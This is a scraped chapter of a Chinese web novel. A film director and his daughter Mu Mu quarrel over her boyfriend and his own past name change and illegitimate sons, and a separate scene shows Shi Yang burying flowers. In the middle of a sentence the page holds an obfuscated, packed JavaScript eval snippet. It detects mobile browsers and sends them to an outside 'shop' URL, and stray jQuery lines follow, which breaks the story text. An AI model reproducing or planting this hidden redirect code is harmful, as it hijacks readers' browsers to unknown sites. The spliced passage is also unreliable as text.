53. 艺术世家

作品:《我只是您妹妹.

    “你!”木鎜气得一口老血差点呕出来,到底心虚,大喘气之后还是决定哄着这祖宗。


    “那些都是谣传,不要信!况且现在都什么时候了,啊?我说你的事儿呢,你记住了没?这次的事情不要插手!”


    木沐虽然嘴壳子硬,但知道她爹浸淫圈子这么久,很有些人脉的,连他都发怵的人,自己肯定惹不起。


    她心里已经决定把这口气咽下去,木鎜又不自觉地招惹她。


    “话又说回来,你这次搅和进去都是因为那个云帆,我都跟你说过好几次了,他不值得你为他冲锋陷阵——”


    “值得,值得,就值得!”


    木鎜被自己亲闺女噎了一顿,再好的脾气也耗尽了,呛声道:“他值得个狗屁值得!”


    木沐每次跟他谈到云帆就气得炸毛,这次也不例外,她专往亲爹心口戳:“你这个二代还宗的都值得,他怎么不值得了?”


    原来木沐八岁前叫金沐,随她妈妈姓,而木鎜也不叫这名字,而叫金般,随自己老婆姓。


    他不比木沐的妈妈,出身在海市这种大城市,只来自东南沿海的一个小乡镇,没见过什么世面。


    木鎜家里孩子多,成绩也差,很早就辍了学,还是在理发店给人吹头发的时候往发廊外瞧了一眼,侥幸见到了在他老家采生的木沐妈妈。


    她是个画家,崇尚眼缘,故而一眼就在人群中见到了木鎜,并且失心疯一样,不知道怎么就在这个小她十六岁的Tony老师身上看到一种艺术气息。


    不久后,两人瞒着木沐的外公,偷了户口本领了证。


    木沐外公气得要死,但那时候闺女肚子都大了,为时已晚,老人就提出一个条件让他同意,否则就找小混混扇死他——入赘。


    木鎜出身在东南沿海,重视香火是他老木家的本分,当然不肯放弃自己后代的冠姓权,但他当时还年轻,没什么权势,事业全部依仗老婆一家。


    他又害怕真按照木沐外公讲的,被找来的小混混抽烂自己的俊俏脸蛋,连自己的“杀手锏”也遭破坏,所以没加以太多考虑,管它什么香火、香水、香土的,小命要紧!


    从此之后,木般改名为金般,而他的女儿生下来就姓金,叫金沐。


    “沐”字还是他去老丈人面前一把鼻涕一把泪,跪着争取来的,起初争取的是“木”,老丈人听后翻了白眼,直接让他收拾铺盖卷滚蛋,经过妻子从中斡旋才各自退一步,用了“沐”。


    谁曾想,这次的经历给金家埋下祸根。


    在木沐五岁的时候,她外公脑溢血去世,同一年她外婆也食物中毒意外去世。


    木沐八岁那年,当时已凭借岳父资源在导演圈子里小有名气的前Tony老师家里离奇起了一场大火,事故导致妻子死亡,而他则因恰好带着女儿在公园玩耍,躲过这场祸事。


    警察在公园找到父女俩时,他正重操旧业,给女儿梳头发。


    事后,伴着锣鼓喧天,鞭炮齐鸣,木鎜哭得梨花带雨之时,还不忘找了个算命先生。


    为了避开邪祟转运,经由算命先生的“尊口”,终于提出了他魂牵梦绕快十年的主意:改名,生者全部都得改名。


    从此,当时还叫“金般”的前Tony老师改回本家姓氏“木”,而经过算命先生的建议,“般”下面还得加上个“金”


    不是为了镇压,而是为了夯实基础!


    金般已成过去式,木鎜正在进行时。而女儿金沐也得顺理成章地改成木沐!


    知名导演的女儿命丧火场,各大媒体竞相报道,他的曾用名被白纸黑字地印在报纸上,谁不知道他是个二代还宗的畜生?


    只不过他事业运好,如日中天,名声大振,圈内鲜少有人敢提及他的过去,就连对手也只敢在背后小声蛐蛐他一声“金导”。


    所以木沐不可能不知道,但她是被木鎜一手带大的,跟爸爸很有感情,以前也只当做不知道——直到木沐大二那年的夏天,意外发现了个同父异母的亲弟弟,后者正在准备当年的艺考。


    她气得要死要活,直接杀到亲爹片场去,木鎜好一阵阻拦,给她打了一大笔钱才消了灾。


    那笔钱十分可观,大手大脚的木沐花了一年还没花完一半,又在次年的夏天发现了另一个正要参加艺考的同父异母的亲弟弟。


    她成长了,不再去片场闹事,而是准备了个红色的横幅,将二号亲弟弟的名字印在上头,给木鎜发了照片,扬言这次要直面矛盾,直接去弟弟考场给他“加油助威”。


    旧事重演,木鎜坐在监视器后头长叹一口气,又给女儿打了一笔钱——可他还有第三个儿子,下一年也要考试。


    大四那年,木沐这回连横幅都不打了,打通了木鎜的电话,只说了一个名字,几分钟后就又收到一笔巨款。


    三来三往,木沐直接成了个小富婆,收到钱后还不忘发短信感谢她爹。


    【谢谢爸爸,希望你老当益壮,多生贵子,多多构建艺术世家!】


    如果木鎜收到那条短信的怒火有五分,现在被亲女儿讽刺“二代还宗”的怒火就有十分。


    自从被她发现三个私生子后,她虽然讲话夹枪带棒,但还是第一次说出这种混账话!


    二代还宗是不假,但她、她怎么能说出来!


    木鎜的男人自尊受到了极大伤害,他狠狠吸了口气,也往木沐心口上戳。


    “你知道你那小男朋友谈过多少富婆吗?”木鎜冷哼一声,“只有那个叫时什么的演员没钱,其他全是!包括你!”


    几千公里外的时扬正在刷牙,突然猛地打了个喷嚏,牙膏沫子喷在镜子上,映照出她惺忪的眼睛,她小声嘀咕:“谁又骂我了……”


    木沐被呛得说不出话,木鎜得意得要死,又道:“还我不值得,我嫁——娶你妈之前还是处子之身呢!谁有我纯洁无瑕?”


    越来越离谱,简直老不羞!


    木沐接话也不是,不接也不是,木鎜还在嘚瑟:“有一次,剧组里别人都组团去‘洗脚’,就我没去!我的操守,我的品质,比你那个云帆强多了!”


    守身如玉的好处他在木沐妈妈身上吃到了,很晓得洁身自好的优势,当初要不是他青涩,没和发廊里另外几个男生一样搞七搞八,人家怎么会看上他这个穷小子?


    所以他很得意曾经最出色的品质,并且在没有名声大噪之前,一直将其奉为圭臬——直到后来他得了势,就再也不用遵守。


    木鎜晃了晃玻璃缸子中的半缸枸杞,喝了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306092|193818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一口才语重心长地回到正题。


    “反正啊,我话跟你撂这儿,都是千年的狐狸,云帆那个小狐狸顶多也就骗骗你,他跟我玩聊斋的话,玩不过的——”


    木沐一口恶气憋在心口,这会儿才吐了出来,没搭他的话,回到上个话题。


    她装作不懂洗脚的意思,大骂道:“就你不去洗脚,难怪你脚臭呢!”


    “咣!”木鎜气得把玻璃杯砸在桌子上,发出一声巨像,周围的工作人员都看向他。


    他绷着脸,一边戴上鸭舌帽,一边招呼道:“继续,继续,下一条。”


    等到再次坐在小凳子上,才一拍脑门,暗暗懊悔:这几天他也没闲着,能就这么看着自己闺女受欺负吗?他在背后做了这么多工作,怎么偏偏长了张破嘴,关键时候说不出来呢!


    -


    兰一一回到家楼下的时候,时扬拿了个铁锹,正在楼下小花坛里挖什么东西。


    “你干嘛呢?挖出什么宝贝了?”她歪了个脑袋,稀奇地打量。


    时扬头也没抬,擦了一把额头上的汗,“葬花。”


    兰一一笑出声,“怎么,cosplay林黛玉啊?”


    时扬没搭理她,专心从竹篮里捧出一把白兰花,放在挖好的坑里。


    兰一一也从竹篮里拿出一朵看,凑近了香气便更加浓郁。


    采摘下来没几天,加上时扬闲得没事洒过几回水,花朵都很新鲜,只是根部偶然有几个黑点。


    “都好好的,你埋它们干嘛?”嘴上说着,手一掷,花骨朵精准地扔进了土坑里。


    时扬专心致志,把所有花都放了进去,才歪坐在一旁的大理石上,叹了口气。


    “有时候想,花开了好,还是不开好呢?”她仿佛真很惆怅似的,闻言,兰一一也跟着坐在旁边。


    时扬继续道:“不开的话,能好好待在树上,开了反而被人采了拿去卖——”


    “可是不开的话,它们怎么会到你手上?你还愿意花钱都买了?”


    时扬有点尴尬地摸了下鼻子,没告诉她这是人送的,兰一一见她手上的泥,连忙拦住她。


    “不过你为什么要埋了它们?”


    “枯萎了再扔的话,死的时候都不好看了,还不如早点处理了,灿烂的时候死。”


    时扬说到这里,又很惆怅,兰一一搞不懂她为什么突然不开心,还以为是这几天的舆论。


    她昨晚没怎么熬夜,一大早就看到了警察的通报,安慰时扬道:“没事的,你的事儿都过了,警察不都出来澄清了吗?又不是你杀的人,怕什么怕!”


    不过她没说的是,警察的澄清不包括个人私事,道观的采访也不囊括以前,现在不知道什么情况,舆论风险又转了。


    加上网上纷纷猜测那个中饱私囊的制片人是木沐,所以三人的那点破事又被拿出来炒冷饭,并且越炒越热。


    看时扬精神头仍然不高,兰一一直接拿了铁锹,三两下刨了些土,盖了上去。


    一边干活,一边问时扬:“中午咱们吃什么,我打算吃炒鱿鱼,你呢?”


    时扬早上起来就莫名心慌,看兰一一在忙,也半坐起身,闻言,更加惆怅,又坐回了大理石上。


    “……不吃。”